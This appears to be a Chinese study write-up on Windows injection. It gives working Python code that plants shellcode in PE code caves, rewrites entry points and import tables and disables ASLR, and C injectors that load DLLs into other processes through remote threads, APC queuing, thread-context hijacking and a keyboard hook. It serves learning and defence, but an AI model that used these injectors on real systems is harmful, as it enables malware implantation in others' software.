1 PE注入

PE注入就是对静态的PE文件进行修改,使其在运行时能够加载我们需要的构造的代码。因为都是对文件进行静态的修改,只需要处理好RVA和Offset之间的转换,保证PE完整的结构就好,相对来说比较简单。
此部分代码都使用Python实现,使用pefile模块对PE文件进行操作,十分方便。当然因为PE的结构就是通过头文件定义的,使用C语言也很方便。

1.1 寻找空洞

寻找代码中的空闲区域的大小,作为PE注入前的参考。
参考了cave miner项目,但是我没有研究其源码,只是按照其原理通过比较节表中的 SizeOfRawData 和 Misc_VirtualSize 属性,实现了最简单的功能。

from pefile import PE  
import sys  
  
  
def search_cave(filename, minsize=0):  
    """  
    搜索代码空洞  
    """    pe = PE(filename)  
    caves = []  
    print(f"[*] FileAlign:\t{pe.OPTIONAL_HEADER.FileAlignment}Bytes")  
    print(f"[*] SectAlign:\t{pe.OPTIONAL_HEADER.SectionAlignment}Bytes\n")  
    # 1. Cave Before Sections  
    sectionDataBegin = pe.sections[0].PointerToRawData  
    sectionTableEnd = pe.sections[-1].__file_offset__ + pe.sections[-1].sizeof()  
    caveSize = sectionDataBegin - sectionTableEnd - 40  
    RVA = sectionTableEnd  
    flags = 0  
    if caveSize > minsize:  
       caves.append(  
          ['BEFORE ' + pe.sections[0].Name.decode().rstrip('\x00'), sectionTableEnd + 40, sectionDataBegin, caveSize, RVA,  
           flags])  
    # 2. Cave In Each Sections  
    for section in pe.sections:  
       caveSize = section.SizeOfRawData - section.Misc_VirtualSize  
       if caveSize > minsize:  
          begin = section.PointerToRawData + section.Misc_VirtualSize  
          RVA = section.VirtualAddress + section.Misc_VirtualSize  
          flags = (section.Characteristics & 0xf0000000) >> 29  
          # print(flags)  
          caves.append(['IN ' + section.Name.decode().rstrip('\x00'), begin, begin + caveSize, caveSize, RVA, flags])  
    for cave in caves:  
       print("[+] " + cave[0], end=":\n")  
       print("\t\tBegin:\t" + hex(cave[1])[2:], end="h\n")  
       print("\t\tEnd:\t" + hex(cave[2])[2:], end="h\n")  
       print("\t\tSize:\t" + hex(cave[3])[2:] + 'h (' + str(cave[3]) + 'Bytes)', end="\n")  
       print("\t\tRVA:\t" + hex(cave[4])[2:], end="h\n")  
       flags = list('---')  
       if cave[5] & 4:  
          flags[0] = 'w'  
       if cave[5] & 2:  
          flags[1] = 'r'  
       if cave[5] & 1:  
          flags[2] = 'x'  
       print("\t\tFlags:\t" + ''.join(flags), end="\n")  
  
  
if __name__ == "__main__":  
    if len(sys.argv) < 2:  
       print("[Usage] python search.py <filename> [minsize]")  
       exit(0)  
    if len(sys.argv) == 2:  
       search_cave(sys.argv[1])  
    else:  
       search_cave(sys.argv[1], int(sys.argv[2]))

1.2 注入shellcode

向空洞中注入shellcode,然后修改OEP指向shellcode的入口。需要注意的是要确保注入点的节具有执行权限。

def inject_shellcode(filename, offset, payload):  
    """  
    代码空洞注入shellcode  
    """    pe = PE(filename)  
    rva = pe.get_rva_from_offset(offset)  
    data_size = len(payload) + 5  
    for i in range(data_size):  
       if pe.__data__[offset + i] != 0:  
          print("[!] The cave is too small!")  
          return  
    # 添加call指令  
    opcode = b'\xe8' + (-data_size).to_bytes(4, byteorder='little', signed=True)  
    payload += opcode  
    # 修改OEP  
    new_oep = rva + data_size - 5  
    pe.OPTIONAL_HEADER.AddressOfEntryPoint = new_oep  
    # 关闭ASLR  
    pe.OPTIONAL_HEADER.DllCharacteristics &= 0xff  
    # 定位节  
    inject_section = pe.sections[0]  
    for section in pe.sections:  
       if offset <= section.PointerToRawData + section.SizeOfRawData:  
          inject_section = section  
          break  
    inject_section.Characteristics |= 0xe0000000  
    # 注入shellcode  
    pe.__data__ = pe.__data__[:offset] + payload + pe.__data__[offset + len(payload):]  
    # pe.set_data_bytes(offset, shellcode)  
    # 写入文件  
    modified_filename = filename.replace('.exe', '_injected.exe')  
    pe.write(modified_filename)  
    pe.close()  
    print(f"[+] Injected PE file saved as: {modified_filename}.")

1.3 注入导入表

通过注入导入表使PE文件可以加载任意的DLL,但是导入表的后面一般没有足够的空间来添加表项,此时需要将原来的整个导入表复制到足够大的空洞处再新增表项,同时修改可选头中标识的导入表的RVA。

def inject_import(filename, offset):  
    """  
    注入导入表  
    :return:  
    """    pe = PE(filename)  
    # 复制旧IDT  
    IDT_offset = pe.get_offset_from_rva(pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress)  
    IDT_size = pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].Size - 20  
    IDT_data = pe.__data__[IDT_offset:IDT_offset+IDT_size]  
    pe.set_data_bytes(offset, IDT_data)  
    # 新建一个IDT项  
    begin = offset + IDT_size  
    new_IDT = SectionStructure(pe.__IMAGE_IMPORT_DESCRIPTOR_format__)  
    new_IDT.__unpack__(bytearray(new_IDT.sizeof()))  
    new_IDT.set_file_offset(begin)  
    begin += 40  
    # INT  
    new_IDT.OriginalFirstThunk = pe.get_rva_from_offset(begin)  
    new_INT = SectionStructure(pe.__IMAGE_THUNK_DATA_format__)  
    new_INT.__unpack__(bytearray(new_INT.sizeof()))  
    new_INT.set_file_offset(begin)  
    begin += 8  
    # IAT  
    new_IDT.FirstThunk = pe.get_rva_from_offset(begin)  
    new_IAT = SectionStructure(pe.__IMAGE_THUNK_DATA_format__)  
    new_IAT.__unpack__(bytearray(new_IAT.sizeof()))  
    new_IAT.set_file_offset(begin)  
    begin += 8  
    # funcName  
    funcName = b'\x00\x00show\x00'  
    pe.set_data_bytes(begin, funcName)  
    new_INT.AddressOfData = pe.get_rva_from_offset(begin)  
    new_IAT.AddressOfData = pe.get_rva_from_offset(begin)  
    begin += len(funcName) + 3  
    # dllName  
    dllName = b'Hello.dll\x00'  
    pe.set_data_bytes(begin, dllName)  
    new_IDT.Name = pe.get_rva_from_offset(begin)  
    pe.__structures__.append(new_IDT)  
    pe.__structures__.append(new_INT)  
    pe.__structures__.append(new_IAT)  
    # 更改扩展头中的IDT的地址  
    pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress = pe.get_rva_from_offset(offset)  
    pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].Size += 20  
    # 修改节权限  
    inject_section = None  
    for section in pe.sections:  
       if offset <= section.PointerToRawData + section.SizeOfRawData:  
          inject_section = section  
          break  
    inject_section.Characteristics = 0xc0000000  
    # pe.merge_modified_section_data()  
    #  写入文件  
    modified_filename = filename.replace('.exe', '_dll.exe')  
    pe.write(modified_filename)  
    pe.close()  
    print(f"[+] Modified PE file saved as: {modified_filename}.")

1.4 新增节

如果现有的代码空洞不足以进行注入,那么可以通过更改PE结构来开辟更多的空洞。
利用节表和节数据之间的空闲区域再新增一个节,网上有很多详细的讲解,这里就不再赘述。
为了不需要移动其他的节数据,一般是在文件末尾新增节。

def add_section(filename, data_size):  
    """  
    新增节  
    :return: offset of new section data  
    """    pe = PE(filename)  
    data_size += 5  
    # 计算是否足够新增节区头  
    begin = pe.sections[-1].__file_offset__ + pe.sections[-1].sizeof()  
    end = pe.sections[0].PointerToRawData  
    cave_size = end - begin  
    # data_size = len(shellcode) + 5  
    if cave_size < 80:  
       print("[!] There is not enough cave to add a section header.")  
       return  
    print(f"[+] There are {cave_size - 40} ({cave_size} - 40) bytes cave to add section header.")  
    # 构造新的节表  
    new_section = SectionStructure(pe.__IMAGE_SECTION_HEADER_format__)  
    new_section.__unpack__(bytearray(new_section.sizeof()))  
    new_section.set_file_offset(begin)  
    new_section.Name = b'.new'  
    new_section.Misc_VirtualSize = data_size  
    new_section.VirtualAddress = pe.sections[-1].VirtualAddress + math.ceil(  
       pe.sections[-1].Misc_VirtualSize / pe.OPTIONAL_HEADER.SectionAlignment) * pe.OPTIONAL_HEADER.SectionAlignment  
    new_section.SizeOfRawData = math.ceil(  
       data_size / pe.OPTIONAL_HEADER.FileAlignment) * pe.OPTIONAL_HEADER.FileAlignment  
    new_section.PointerToRawData = pe.sections[-1].PointerToRawData + pe.sections[-1].SizeOfRawData  
    new_section.Characteristics = 0x60000000  
    # 修改节区数量和我文件大小  
    pe.FILE_HEADER.NumberOfSections += 1  
    pe.OPTIONAL_HEADER.SizeOfImage = math.ceil(pe.OPTIONAL_HEADER.SizeOfImage + pe.sections[  
       -1].Misc_VirtualSize / pe.OPTIONAL_HEADER.SectionAlignment) * pe.OPTIONAL_HEADER.SectionAlignment  
      
    # 添加节头和节数据  
    pe.__structures__.append(new_section)  
    padding = b'\x00' * new_section.SizeOfRawData  
    # pe.__data__ = pe.__data__[:] + padding  
    pe.set_data_bytes(new_section.PointerToRawData, padding)  
    print("[*] New section added to PE file.")  
    print(f"\t[-] FOA: {hex(new_section.PointerToRawData)[2:].rjust(8, '0')}h")  
    print(f"\t[-] RVA: {hex(new_section.VirtualAddress)[2:].rjust(8, '0')}h")  
    # 写入文件  
    modified_filename = filename.replace('.exe', '_modified.exe')  
    pe.write(modified_filename)  
    pe.close()  
    print(f"[+] Modified PE file saved as: {modified_filename}.")  
    return new_section.PointerToRawData

提升NT头

如果节表和节数据之间的空洞不足以再新增一个节,可以使用此方法将没用的DOS Stub段删除,将其后面的NT头整体上移覆盖掉这段数据,那么节表和节数据之间就可以腾出一些空洞。

def lift_header(filename):  
    """  
    删除 dos_stub, 提升PE头  
    """    pe = PE(filename)  
    begin = pe.DOS_HEADER.sizeof()  
    end = pe.NT_HEADERS.__file_offset__  
    offset = pe.sections[0].PointerToRawData  
    height = end - begin  
    if height <= 0:  
       print("[!] No DOS stub to cover!")  
       return  
    # 修改DOS头属性  
    pe.DOS_HEADER.e_lfanew -= height  
    pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum()  
    # 上移头部覆盖dos_stub  
    padding = b'\x00' * height  
    pe.__data__ = pe.__data__[:begin] + pe.__data__[end:offset] + padding + pe.__data__[offset:]  
    #  写入文件  
    modified_filename = filename.replace('.exe', '_lifted.exe')  
    # pe.write(modified_filename)  
    open(modified_filename, 'wb').write(pe.__data__)  
    pe.close()  
    print(f"[+] File header lifted by {height} bytes.")  
    print(f"[+] Modified PE file saved as: {modified_filename}.")

1.5 合并节

这个方法也是为了新增节,通过合并两个节,节表就会腾出一个位置用来存放新增的节。
同样,为了不影响其他节,合并最后两个节是最好的选择。

def merge_sections(filename):  
    """  
    合并节  
    """    pe = PE(filename)  
    if len(pe.sections) < 2:  
       print("[!] The section is too little!")  
       return  
    section1 = pe.sections[-2]  
    section2 = pe.sections[-1]  
    name1 = section1.Name.decode().rstrip('\x00')  
    name2 = section2.Name.decode().rstrip('\x00')  
    virtual_size1 = section2.VirtualAddress - section1.VirtualAddress  
      
    data1 = section1.get_data()  
    data2 = section2.get_data()  
    padding = (virtual_size1 - section1.SizeOfRawData) * b'\x00'  
    # 修改属性  
    pe.FILE_HEADER.NumberOfSections -= 1  
    pe.OPTIONAL_HEADER.SizeOfImage += len(padding)  
    # 修改节表  
    section1.SizeOfRawData = virtual_size1 + section2.Misc_VirtualSize  
    section1.Misc_VirtualSize = virtual_size1 + section2.SizeOfRawData  
    section1.Characteristics |= section2.Characteristics  
    # pe.set_bytes_at_offset(section2.__file_offset__, b'\x00' * 40)  
    # 填充节数据  
    # begin = section1.PointerToRawData  
    pe.set_data_bytes(section1.PointerToRawData, data1+padding+data2)  
    # pe.__data__ = pe.__data__[:begin] + data1 + padding + data2  
    # 写入文件  
    modified_filename = filename.replace('.exe', '_merged.exe')  
    pe.write(modified_filename)  
    pe.close()  
    print(f"[+] The section {name2} has been merged to {name1}.")  
    print(f"[+] Modified PE file saved as: {modified_filename}.")

1.6 扩展节

如果不新增节,而现有的代码空洞又不足以注入,可以通过修改节表数据,将现有的节的长度增加。这里实现的是扩展最后一个节。

def expand_section(filename, data_size):  
    """  
    扩展节(最后一个节)  
    :return: offset of the expanded part of the last section data  
    """    pe = PE(filename)  
    last_section = pe.sections[-1]  
    data_size += 5  
    cave_size = last_section.SizeOfRawData - last_section.Misc_VirtualSize  
    if cave_size >= data_size:  
       print("[!] The cave is enough to use, No section expand.")  
       return  
    offset = last_section.PointerToRawData + last_section.Misc_VirtualSize  
    rva = last_section.VirtualAddress + last_section.Misc_VirtualSize  
    last_name = last_section.Name.decode().rstrip('\x00')  
    expand_size = math.ceil(  
       (data_size - cave_size) / pe.OPTIONAL_HEADER.FileAlignment) * pe.OPTIONAL_HEADER.FileAlignment  
    # 修改节区头属性  
    last_section.SizeOfRawData += expand_size  
    last_section.Misc_VirtualSize += expand_size  
    last_section.Characteristics |= 0x60000000  
    # 计算内存对齐,修改SizeOfImage  
    pe.OPTIONAL_HEADER.SizeOfImage += pe.OPTIONAL_HEADER.SectionAlignment * (  
          math.ceil(last_section.Misc_VirtualSize / pe.OPTIONAL_HEADER.SectionAlignment)  
          - math.ceil((last_section.Misc_VirtualSize - expand_size) / pe.OPTIONAL_HEADER.SectionAlignment))  
    # 填充节区数据  
    padding = b'\x00' * expand_size  
    # pe.__data__ = pe.__data__[:] + padding  
    pe.set_data_bytes(len(pe.__data__), padding)  
    # 写入文件  
    modified_filename = filename.replace('.exe', '_expanded.exe')  
    pe.write(modified_filename)  
    pe.close()  
    print(f"[*] The {last_name} section is extended by {expand_size} bytes.")  
    print(f"\t[-] FOA:\t{hex(offset)[2:].rjust(8, '0')}h")  
    print(f"\t[-] RVA:\t{hex(rva)[2:].rjust(8, '0')}h")  
    print(f"[+] Modified PE file saved as: {modified_filename}.")  
    return offset

2 DLL注入

DLL注入就是让进程加载我们构造的DLL文件,执行代码。与PE注入不同的是,DLL的注入是动态的,是在内存中进行操作的,相对来说复杂一些,网上提到最多的基本就是这四种,其他还有一些特殊利用以后遇到的话再补充。
参考了injectAllTheThings项目,本来是用Python写的,但是要处理32位程序的话不太方便,于是用C又写了一遍,没啥耐心了,大部分代码都是借鉴这个项目。

2.1 创建远程线程

CreateRemoteThread

通过在目标进程的内存中写入DLL的绝对路径,然后调用CreateRemoteThread函数,将LoadLibrary作为回调函数传入,内存中的DLL路径地址作为回调函数的参数,以此实现DLL的注入。

#include <windows.h>
#include <stdio.h>
#include "headers.h"

void demoCreateRemoteThread(LPCSTR pszDllPath, DWORD dwPid)
{
 DWORD dwSize = strlen(pszDllPath);
 // 打开进程
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 if (hProcess == NULL) {
  printf("[!] Open process failed: %lu\n", GetLastError());
  return;
 }
 //printf("Path Length:%d\n", dwSize);
 // 开辟内存
 LPVOID pszDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
 if (pszDllAddr == NULL) {
  printf("[!] VirtualAllocEx failed: %lu\n", GetLastError());
  CloseHandle(hProcess);
  return;
 }
 // 写入内存
 if (!WriteProcessMemory(hProcess, pszDllAddr, pszDllPath, strlen(pszDllPath) + 1, NULL)) {
  printf("[!] Write process memory failed: %lu\n", GetLastError());
  return;
 }
 // 获取LoadLibraryA函数地址
 PROC pfnProcAddr= GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
 if (pfnProcAddr == NULL) {
  printf("[!] GetProcAddress failed: %lu\n", GetLastError());
  return;
 }
 // 创建远程线程
 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pfnProcAddr, pszDllAddr, 0, NULL);
 if (hThread == NULL) {
  printf("[!] Create remote thread failed: %lu\n", GetLastError());
  return;
 }
 printf("[+] Inject DLL by CreateRemoteThread success!\n");
 CloseHandle(hThread);
 VirtualFreeEx(hProcess, pszDllAddr, 0, MEM_RELEASE);
 CloseHandle(hProcess);
}

NtCreateThreadEx

这是一个未公开的API,需要自己定义函数结构体:

typedef NTSTATUS(WINAPI* LPFUN_NtCreateThreadEx) 
(
 PHANDLE hThread,
 ACCESS_MASK DesiredAccess,
 LPVOID ObjectAttributes,
 HANDLE ProcessHandle,
 LPTHREAD_START_ROUTINE lpStartAddress,
 LPVOID lpParameter,
 BOOL CreateSuspended,
 ULONG StackZeroBits,
 ULONG SizeOfStackCommit,
 ULONG SizeOfStackReserve,
 LPVOID lpBytesBuffer
);

注入原理和CreateRemoteThread类似,也是通过创建远程线程:

#include <windows.h>
#include <stdio.h>
#include "headers.h"


void demoNtCreateThreadEx(LPCSTR pszDllPath, DWORD dwPid)
{
 HANDLE hRemoteThread = NULL;
 DWORD dwSize = strlen(pszDllPath);
 // 打开进程
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 if (hProcess == NULL) {
  printf("[!] Open process failed: %lu\n", GetLastError());
  return;
 }
 // 开辟内存
 LPVOID pszDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 if (pszDllAddr == NULL) {
  printf("[!] VirtualAllocEx failed: %lu\n", GetLastError());
  CloseHandle(hProcess);
  return;
 }
 // 写入内存
 if (!WriteProcessMemory(hProcess, pszDllAddr, pszDllPath, strlen(pszDllPath) + 1, NULL)) {
  printf("[!] Write process memory failed: %lu\n", GetLastError());
  return;
 }
 // 获取LoadLibraryA函数地址
 PROC pfnProcAddr = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
 if (pfnProcAddr == NULL) {
  printf("[!] GetProcAddress failed: %lu\n", GetLastError());
  return;
 }
 // 获取NtCreateThreadEx函数地址
 PROC pfnNtCreateThreadEx = GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");
 if (pfnNtCreateThreadEx == NULL) {
  printf("[!] Get NtCreateThreadEx Address failed: %lu\n", GetLastError());
  return;
 }
 LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)pfnNtCreateThreadEx;
 NTSTATUS status = funNtCreateThreadEx(&hRemoteThread, 0x1FFFFF, NULL, hProcess, (PTHREAD_START_ROUTINE)pfnProcAddr,
  pszDllAddr, FALSE, NULL, NULL, NULL, NULL);
 if (!status) {
  printf("[!] Call NtCreateThreadEx failed: %lu\n", GetLastError());
  return;
 }
 printf("[+] Inject DLL by NtCreateThreadEx success!\n");

 VirtualFreeEx(hProcess, pszDllAddr, 0, MEM_RELEASE);
 CloseHandle(hProcess);
}

RtlCreateUserThread

对NtCreateThreadEx函数的封装,也是未公开的API。

typedef DWORD(WINAPI* LPFUN_RtlCreateUserThread)
(
 IN HANDLE 					ProcessHandle,
 IN PSECURITY_DESCRIPTOR 	SecurityDescriptor,
 IN BOOL 					CreateSuspended,
 IN ULONG					StackZeroBits,
 IN OUT PULONG				StackReserved,
 IN OUT PULONG				StackCommit,
 IN LPVOID					StartAddress,
 IN LPVOID					StartParameter,
 OUT HANDLE 					ThreadHandle,
 OUT LPVOID					ClientID
);
#include <windows.h>
#include <stdio.h>
#include "headers.h"


void demoRtlCreateUserThread(LPCSTR pszDllPath, DWORD dwPid)
{
 HANDLE hRemoteThread = NULL;
 DWORD dwSize = strlen(pszDllPath);
 // 打开进程
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 if (hProcess == NULL) {
  printf("[!] Open process failed: %lu\n", GetLastError());
  return;
 }
 // 开辟内存
 LPVOID pszDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
 if (pszDllAddr == NULL) {
  printf("[!] VirtualAllocEx failed: %lu\n", GetLastError());
  CloseHandle(hProcess);
  return;
 }
 // 写入内存
 if (!WriteProcessMemory(hProcess, pszDllAddr, pszDllPath, strlen(pszDllPath) + 1, NULL)) {
  printf("[!] Write process memory failed: %lu\n", GetLastError());
  return;
 }
 // 获取LoadLibraryA函数地址
 PROC pfnProcAddr = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
 if (pfnProcAddr == NULL) {
  printf("[!] GetProcAddress failed: %lu\n", GetLastError());
  return;
 }
 PROC pfnRtlCreateUserThread = GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateUserThread");
 if (pfnRtlCreateUserThread == NULL) {
  printf("[!] Get pfnRtlCreateUserThread Address failed: %lu\n", GetLastError());
  return;
 }
 LPFUN_RtlCreateUserThread funRtlCreateUserThread = (LPFUN_RtlCreateUserThread)pfnRtlCreateUserThread;
 DWORD status = funRtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, 
  pfnProcAddr, pszDllAddr, &hRemoteThread, NULL);
 if (status!=0) {
  printf("[!] Call RtlCreateUserThread failed: %lu\n", GetLastError());
  return;
 }
 printf("[+] Inject DLL by RtlCreateUserThread success!\n");

 VirtualFreeEx(hProcess, pszDllAddr, 0, MEM_RELEASE);
 CloseHandle(hProcess);
}

2.2 线程劫持

QueueUserAPC

通过添加线程的APC队列,使得线程被再次执行时会调用APC队列中的函数。并不是每个线程都会被执行,在注入时可以向目标进程的所有线程中都注入一次,我测试的是Sublime_Text,注入所有线程后可以稳定触发。

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include "headers.h"


void demoQueueUserAPC(LPCSTR pszDllPath, DWORD dwPid)
{
 DWORD dwSize = strlen(pszDllPath);
 // 打开进程
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 if (hProcess == NULL) {
  printf("[!] Open process failed: %lu\n", GetLastError());
  return;
 }
 // 开辟内存
 LPVOID pszDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
 if (pszDllAddr == NULL) {
  printf("[!] VirtualAllocEx failed: %lu\n", GetLastError());
  CloseHandle(hProcess);
  return;
 }
 // 写入内存
 if (!WriteProcessMemory(hProcess, pszDllAddr, pszDllPath, strlen(pszDllPath) + 1, NULL)) {
  printf("[!] Write process memory failed: %lu\n", GetLastError());
  return;
 }
 // 获取LoadLibraryA函数地址
 PROC pfnProcAddr = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
 if (pfnProcAddr == NULL) {
  printf("[!] GetProcAddress failed: %lu\n", GetLastError());
  return;
 }

 // 遍历线程
 HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
 if (h == INVALID_HANDLE_VALUE) {
  printf("[!] Error: Couldn't create snapshot.\n");
  return;
 }
 THREADENTRY32 te;
 te.dwSize = sizeof(te);
 if (!Thread32First(h, &te)) {
  printf("[!] Error: Couldn't get first thread.\n");
  CloseHandle(h);
  return;
 }
 DWORD dwThreadId = 0;
 while (Thread32Next(h, &te)) {
  if (te.th32OwnerProcessID == dwPid) {
   dwThreadId = te.th32ThreadID;
   HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, dwThreadId);
   if (hThread == NULL) {
    printf("[!] Error: Couldn't open thread %d.\n", dwThreadId);
    return;
   }

   DWORD status = QueueUserAPC((PAPCFUNC)pfnProcAddr, hThread, (ULONG_PTR)pszDllAddr);
   if (!status) {
    printf("[!] Call QueueUserAPC Failed: %lu\n", GetLastError());
    return;
   }
   printf("[+] Inject DLL by QueueUserAPC success in thread %d!\n", dwThreadId);
  }
 }
 CloseHandle(h);
 CloseHandle(hProcess);
}

SetThreadContext

将线程挂起后直接修改线程的上下文,将加载DLL的shellcode注入其中,然后恢复线程,在执行完shellcode后线程就会返回正常执行。

#include <windows.h>
#include <stdio.h>
#include "headers.h"

#ifndef _WIN64
BYTE sc[] =
{
 0x68, 0xCC, 0xCC, 0xCC, 0xCC, 0x9C,	0x60, 0x68,
 0xCC, 0xCC, 0xCC, 0xCC, 0xB8, 0xCC, 0xCC, 0xCC,
 0xCC, 0xFF, 0xD0, 0x61, 0x9D, 0xC3
};
#else
BYTE sc[] =
{
    0x50, 0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x9c, 0x51, 0x52, 0x53, 0x55, 
 0x56, 0x57, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 
 0x41, 0x57, 0x68, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 
 0xCC, 0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xFF, 0xD0, 0x58, 0x41, 0x5F,
    0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5F, 0x5E,
    0x5D, 0x5B, 0x5A, 0x59, 0x9D, 0x58, 0xC3
};
#endif // !WIN_64


void demoSetThreadContext(LPCSTR pszDllPath, DWORD dwPid)
{
 CONTEXT ctx;
 DWORD dwSize = strlen(pszDllPath);
 // 打开进程
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 if (hProcess == NULL) {
  printf("[!] Open process failed: %lu\n", GetLastError());
  return;
 }
 // 开辟内存
 LPVOID pszDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
 if (pszDllAddr == NULL) {
  printf("[!] VirtualAllocEx failed: %lu\n", GetLastError());
  CloseHandle(hProcess);
  return;
 }
 // 写入内存
 if (!WriteProcessMemory(hProcess, pszDllAddr, pszDllPath, strlen(pszDllPath) + 1, NULL)) {
  printf("[!] Write process memory failed: %lu\n", GetLastError());
  return;
 }
 // 获取LoadLibraryA函数地址
 PROC pfnProcAddr = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
 if (pfnProcAddr == NULL) {
  printf("[!] GetProcAddress failed: %lu\n", GetLastError());
  return;
 }
 // 开辟内存,存放shellcode
 LPVOID stub = VirtualAllocEx(hProcess, NULL, sizeof(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 if (stub == NULL) {
  printf("[!] VirtualAllocEx failed: %lu\n", GetLastError());
  return;
 }
 // 获取线程句柄
 DWORD dwThreadId = getThreadId(dwPid);
 if (dwThreadId == NULL) {
  return;
 }
 HANDLE hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, dwThreadId);
 if (hThread == NULL) {
  printf("[!] Open thread failed: %lu\n", GetLastError());
  return;
 }
 // 挂起线程,获取上下文
 SuspendThread(hThread);
 ctx.ContextFlags = CONTEXT_CONTROL;
 GetThreadContext(hThread, &ctx);
#ifndef _WIN64
 DWORD dwOriginIP = ctx.Eip;
 ctx.Eip = (DWORD)stub;
 ctx.ContextFlags = CONTEXT_CONTROL;
 // 构造shellcode,写入上下文
 DWORD dwOriginProt = NULL;
 VirtualProtect(sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &dwOriginProt);
 memcpy(sc + 1, &dwOriginIP, 4);
 memcpy(sc + 8, &pszDllAddr, 4);
 memcpy(sc + 13, &pfnProcAddr, 4);
#else
 DWORD64 dwOriginIP = ctx.Rip;
 ctx.Rip = (DWORD64)stub;
 ctx.ContextFlags = CONTEXT_CONTROL;
 // 构造shellcode,写入上下文
 DWORD dwOriginProt = NULL;
 VirtualProtect(sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &dwOriginProt);
 //printf("%p %p %p\n", dwOriginIP, pszDllAddr, pfnProcAddr);
 memcpy(sc + 3, &dwOriginIP, 8);
 memcpy(sc + 41, &pszDllAddr, 8);
 memcpy(sc + 51, &pfnProcAddr, 8);
#ifdef _DEBUG
 printf("shellcode:\n");
 for (int i = 0; i < sizeof(sc); i++) {
  printf("%02x ", sc[i]);
  if (i % 16 == 0 || i == sizeof(sc) - 1) {
   printf("\n");
  }
 }
#endif
#endif
 WriteProcessMemory(hProcess, stub, sc, sizeof(sc), NULL);
 SetThreadContext(hThread, &ctx);
 // 恢复线程
 ResumeThread(hThread);
 printf("[+] Inject DLL by SetThreadContext success!\n");
 CloseHandle(hProcess);
 CloseHandle(hThread);
}

2.3 消息Hook

SetWindowsHookEx

此函数在调用时会传入一个钩子函数,而在对其他进程或全部进程进行Hook时,要求此函数必须位于DLL中,所以只要我们构造的DLL中包含要Hook的函数就可以完成注入。

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include "headers.h"


void demoSetWindowsHookEx(LPCSTR pszDllPath, DWORD dwProcessId, LPCSTR strProcName)
{
 // 获取第一个线程ID
 DWORD dwThreadId = getThreadId(dwProcessId);
 if (dwThreadId == 0) {
  printf("[!] Get thread ID failed!\n");
  return;
 }
 // 加载DLL和导出的函数
 HMODULE dll = LoadLibraryExA(pszDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
 if (dll == NULL)
 {
  printf("[!] Open Dll failed!\n");
  return;

 }
 HOOKPROC hookProc = (HOOKPROC)GetProcAddress(dll, strProcName);
 if (hookProc == NULL) {
  printf("[!] Get proc of the dll failed!\n");
  return;
 }
 // Hook键盘消息
 HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD, hookProc, dll, dwThreadId);
 if (hHook == NULL) {
  printf("[!] Call SetWindowsHookEx failed!\n");
  return;
 }
 printf("[+] Inject DLL by SetWindowsHookEx success!\n");
 printf("[*] Press any key to unhook:");
 getchar();
 if (!UnhookWindowsHookEx(hHook)) {
  printf("[!] Failed to unhook\n");
 }
 else {
  printf("[+] Unhook success!\n");
 }
 FreeLibrary(dll);
}

2.4 反射注入

TODO

3 DLL劫持

DLL劫持是在攻防中会用到的手段,在这里只探讨关于特定程序的简单DLL劫持检测,而不是对系统存在的DLL劫持风险进行检测。
我参考DLLHSC项目使用Python实现了简单的DLL劫持测试,没有实现Hook LoadLibrary函数进行动态检测的部分。
首先从注册表中获取到系统的KnownDLLs列表,凡是在此列表中存在的DLL都是无法被劫持的。
